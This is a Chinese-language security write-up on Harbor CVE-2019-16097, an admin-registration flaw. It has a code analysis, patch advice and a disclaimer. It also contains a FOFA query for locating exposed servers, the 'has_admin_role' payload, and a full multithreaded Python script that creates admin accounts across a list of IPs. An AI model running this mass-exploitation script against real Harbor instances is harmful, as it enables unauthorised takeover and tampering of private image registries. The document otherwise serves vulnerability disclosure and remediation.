目錄python
0x01 前言git
0x02 漏洞簡介及危害github
0x03 漏洞復現web
0x04 代碼分析數據庫
0x05 批量腳本json
0x06 修復建議api
0x07 免責聲明安全
Harbor是一個用於存儲和分發Docker鏡像的企業級Registry服務器,經過添加一些企業必需的功能特性,例如安全、標識和管理等,擴展了開源Docker Distribution。做爲一個企業級私有Registry服務器,Harbor提供了更好的性能和安全。提高用戶使用Registry構建和運行環境傳輸鏡像的效率。Harbor支持安裝在多個Registry節點的鏡像資源複製,鏡像所有保存在私有Registry中, 確保數據和知識產權在公司內部網絡中管控。另外,Harbor也提供了高級的安全特性,諸如用戶管理,訪問控制和活動審計等。服務器
因註冊模塊對參數校驗不嚴格,可致使任意管理員註冊。網絡
文檔名稱 | Harbor權限提高漏洞安全預警通告 |
---|---|
關鍵字 | Harbor、CVE-2019-16097 |
發佈日期 | 2019年09月19日 |
危及版本 | Harbor 1.7.6以前版本 Harbor 1.8.3以前版本 |
Harbor 1.7.6以前版本和Harbor 1.8.3以前版本中的core/api/user.go文件存在安全漏洞。若開放註冊功能,攻擊者可利用該漏洞建立admin帳戶。註冊功能默認開放。攻擊者能夠以管理員身份下載私有項目並審計;能夠刪除或污染全部鏡像。
目前PoC已公開,建議受影響的客戶儘快升級。
使用fofa語法搜索
title="Harbor" && country=CN
點擊註冊抓包,改包,在最後數據包加上:
"has_admin_role":true
修改爲功,成功添加帳號密碼。並登錄成功!
聲明:代碼分析來着奇安信團隊,原文地址:【預警通告】Harbor權限提高漏洞安全預警通告
分析代碼的commit hash爲e7488e37b69319fa9dcbaab57499bec5c8aed08a,此commit中還沒有包含補丁。受影響的API請求地址是/api/users/,請求方式爲POST,所以從API的路由中找到入口點,位置在src/core/router.go50行:
能夠看到其將此POST請求路由到了api.UserAPI中,找到api.UserAPI的處理POST請求的位置在src/core/api/user.go的302行,跟進代碼,發現其前後判斷認證方式,是否開啓自行註冊(默認開啓)而後實例化了User結構體:
咱們先來看一下User結構體,位置在src/common/models/user.go 25行:
注意其中HasAdminRole字段對應的數據庫表現形式和JSON請求表現形式。其在數據庫中的字段表現形式爲sysadmin_flag,JSON表現形式爲has_admin_role
再繼續跟入,後面的過程依次是,反序列化請求JSON串爲User結構體,驗證用戶提交的User格式是否正確(用戶名規範和密碼規範)判斷用戶名和email字段是否已存在,而後直接調用數據庫訪問層的dao.Register()方法執行數據庫插入的操做:
跟入dao.Register()方法中,位置在src/common/dao/register.go26行,能夠看到其直接將User結構體的HasAdminRole字段插入到數據庫
在github上進行commitdiff(https://github.com/goharbor/harbor/pull/8917/commits/b6db8a8a106259ec9a2c48be8a380cb3b37cf517#diff-fb70049a82e5abd89a68c8e2cccba44c)對比,能夠看到這次提交對註冊用戶的請求進行了邏輯判斷,不容許非管理員用戶建立新的管理員用戶。
腳原本源於T9sec team
import requests import json import csv from concurrent.futures import ThreadPoolExecutor def exp(url): url = url + '/api/users' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } payload = { "username": "test1", "email": "test1@qq.com", "realname": "test1", "password": "Aa123456", "comment": "test1", "has_admin_role": True } payload = json.dumps(payload) try: requests.packages.urllib3.disable_warnings() r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False) if r.status_code == 201: print(url) except Exception as e: pass if __name__ == '__main__': data = open('ip.txt') # 批量IP reader = csv.reader(data) # 50是線程 with ThreadPoolExecutor(50) as pool: for row in reader: if 'http' not in row[0]: url = 'http://' + row[0] else: url = row[0] pool.submit(exp, url)
升級到1.7.6及以上版本或者1.8.3及以上版本
臨時緩解方案:
關閉容許自行註冊功能(Allow Self-Registration)
本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵照《網絡安全法》等相關法律法規。